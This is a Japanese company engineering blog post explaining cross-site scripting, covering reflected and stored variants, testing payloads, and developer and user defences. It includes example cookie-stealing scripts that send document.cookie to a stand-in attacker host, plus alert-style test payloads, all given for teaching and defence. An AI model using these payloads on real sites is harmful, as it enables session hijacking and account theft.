こんにちは。 エニグモのWebアプリケーションエンジニアのレミーです!
Webセキュリティにおいて最も頻繁に発生する脅威の一つがXSS(クロスサイトスクリプティング)です。ユーザーに大きな被害をもたらし、企業の信頼を失墜させるこの脆弱性について、その仕組みから対策まで解説します。
XSS(クロスサイトスクリプティング)とは?
XSSとは、Webアプリケーションの脆弱性を突き、悪意のあるスクリプト(主にJavaScript)を攻撃者が他のユーザーのブラウザ上で実行させるサイバー攻撃です。
攻撃が成功すると、以下のような深刻な被害が発生する可能性があります。
- セッションIDやクッキー、個人情報の取得
- ブラウザやWebサイトの不正操作
- 悪意のあるサイト(フィッシングサイトなど)への強制リダイレクト
XSSはWebアプリケーションのセキュリティにおいて最も危険な脆弱性の一つとして知られており、ユーザーのアイデンティティ(認証情報)を盗み出すことが主な目的とされています。
XSSの仕組み
XSSは基本的にクライアントサイド(ユーザーのブラウザ上)で実行されます。 HTMLやJavaScriptなどの言語で書かれた悪意のあるコードが、ユーザーの入力フォームなどを経由してWebサイトに送り込まれます。
仕組みとしてはSQLインジェクションと似ており、クライアントからサーバーへのリクエストに不正なコードを紛れ込ませることで実行されます。この脆弱性は、Webサイト側がユーザーからの入力データを適切に検証・サニタイズしていないこと、または適切な出力エンコーディングを行っていないことによって発生します。
例:脆弱なサイトの検索ページが、検索キーワードをそのまま表示する場合。
ユーザーが「猫」と検索したとき:
<p>「猫」の検索結果:3件</p>
もし攻撃者が <script>alert('攻撃成功!')</script> と検索したら?
<p>「<script>alert('攻撃成功!')</script>」の検索結果:0件</p>
ブラウザは攻撃者のコードがそのまま動いてしまいます。
代表的なXSSの種類
1. 反映型XSS(Reflected XSS)
URLのパラメータやフォームの入力値に仕込まれた悪意のあるスクリプトが、サーバーからのレスポンス画面にそのまま反映されて実行されるタイプです。攻撃者は、スクリプトを仕込んだURLをメールやSNSで標的に踏ませることで攻撃を成立させます。一般的に、特定のユーザーを狙った攻撃に多く使われます。
例:以下のURL
https://example.com/search?q=<script>fetch('https://攻撃者.com?cookie='+document.cookie)</script>
気づかない一瞬の間に、ログインクッキーが攻撃者に送信され、攻撃者はユーザーになりすましてログインできてしまいます。
2. 蓄積型XSS(Persistent XSS)
攻撃者が掲示板やプロフィールの入力欄などを通じて、悪意のあるスクリプトをWebサイトのデータベースに保存させるタイプです。その後、他のユーザーがそのページを閲覧するたびにスクリプトが自動的に実行されます。一度設置されると、不特定多数のユーザーが同時に被害に遭うため非常に危険です。
例:SNSサイトで、攻撃者が自分のプロフィールの「自己紹介欄」に以下を入力しました:
<script> // このプロフィールを見た全員のクッキーを盗む new Image().src = 'https://攻撃者.com/steal?c=' + document.cookie; </script>
このプロフィールは「サニタイズされず」にデータベースに保存されます。それから一晩で、このプロフィールを訪問した全てのユーザー全員のクッキーが攻撃者の手に渡りました——ユーザーは「プロフィールを見ただけ」なのに。これが蓄積型XSSの恐ろしさです。
XSS脆弱性の診断やテスト方法
自社のWebサイトにXSSの脆弱性がないかを確認するには、入力フォームなどにテスト用のスクリプトを入力し、それがブラウザ上で実行されてしまうかどうかを検証します。
例:
<!-- 基本テスト --> <script>alert('XSS')</script> <!-- imgタグの onerror を使う方法 --> <img src=x onerror=alert('XSS')> <!-- SVGを使う方法 --> <svg onload=alert('XSS')>
ただし、最も確実なのはソースコードのコードレビューや、専門の脆弱性診断ツールの導入、またはプロのセキュリティエンジニアによる診断を受けることです。
XSSの防ぎ方・対策
開発者向けの対策
- サニタイズと入力値のバリデーション: 入力されたデータが適切な形式であるかチェックし、不正な文字(
<や>など)を排除、または無害化します。 - 出力のHTMLエンコーディング: ユーザーが入力した文字列をHTMLに表示する際、特別な意味を持つ文字(例: < は
<、> は>)をエスケープ処理します。これが最も根本的な対策です。 - WAF(Web Application Firewall)の導入: 通信を監視し、XSS特有のパターンを持つリクエストを遮断します。
一般ユーザー向けの対策
- 不審なURLをクリックしない: メールやSNSに貼られている怪しいリンク、心当たりのないURLには触れないようにしましょう。
- 個人情報の入力に注意する: 信頼性の低いWebサイトで、ログイン情報やクレジットカード情報を安易に入力しないよう徹底してください。
- ブラウザやOSを最新に保つ: 使用しているブラウザのセキュリティアップデートをこまめに行い、常に最新のバージョンを利用します。
- セキュリティソフトの導入: マルウェアや悪意のあるスクリプトの実行を検知・ブロックするウイルス対策ソフトを導入しましょう。
エニグモでのセキュリティへの取り組み
弊社が運営するBUYMAでは、ユーザーの個人情報や決済情報を扱うため、セキュリティ対策は開発フローの中心に位置づけられています。
具体的には、以下のような取り組みを行っています。
- コードレビューでのセキュリティチェックは、全てのPull Requestにおいて、XSSやSQLインジェクションなどの脆弱性があるかどうか、きちんとレビューしています。
- フレームワークのデフォルト機能の活用では、Ruby on Railsの
html_safeやrawなどの使用は最小限にし、使う場合は必ずレビューで確認しています。 - 静的解析ツールの導入は、Brakemanなどのツールで、CI上で自動的に脆弱性を検知する仕組みを整えています。
まとめ
XSSは非常に古典的でありながら、現在でも多くのWebサイトで脅威となっているセキュリティリスクです。Webサイトを守るためには、開発者が入力・出力の処理を正しく実装することが不可欠です。また、ユーザー側も日頃からURLの確認やブラウザの更新など、基本的なセキュリティ意識を持つことが大切です。